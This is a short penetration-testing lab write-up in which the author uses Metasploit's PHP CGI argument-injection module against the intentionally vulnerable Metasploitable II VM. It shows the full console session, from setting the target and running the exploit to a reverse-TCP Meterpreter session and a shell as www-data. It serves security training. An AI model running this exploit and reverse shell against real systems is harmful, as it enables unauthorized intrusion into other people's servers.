Metasploitable II: PHP CGI Argument Injection

This version of apache webserver is vulnerable with the version of PHP which is installed. You can see the vulnerable version information by looking at the phpinfo page.

Its now time to exploit the vulnerablity. Lets load up metasploit and use the module exploit/multi/http/php_cgi_arg_injection on the remote host.

msf5 > use exploit/multi/http/php
use exploit/multi/http/php_cgi_arg_injection             use exploit/multi/http/phpmyadmin_3522_backdoor
use exploit/multi/http/php_utility_belt_rce              use exploit/multi/http/phpmyadmin_lfi_rce
use exploit/multi/http/php_volunteer_upload_exec         use exploit/multi/http/phpmyadmin_null_termination_exec
use exploit/multi/http/phpfilemanager_rce                use exploit/multi/http/phpmyadmin_preg_replace
use exploit/multi/http/phpldapadmin_query_engine         use exploit/multi/http/phpscheduleit_start_date
use exploit/multi/http/phpmailer_arg_injection           use exploit/multi/http/phptax_exec
use exploit/multi/http/phpmoadmin_exec                   use exploit/multi/http/phpwiki_ploticus_exec
msf5 > use exploit/multi/http/php_cgi_arg_injection.
msf5 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLESK        false            yes       Exploit Plesk
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Sending stage (38288 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:48979) at 2020-02-07 00:32:29 -0700

meterpreter > shell
Process 5437 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data

As you can see we got a shell on the remote host.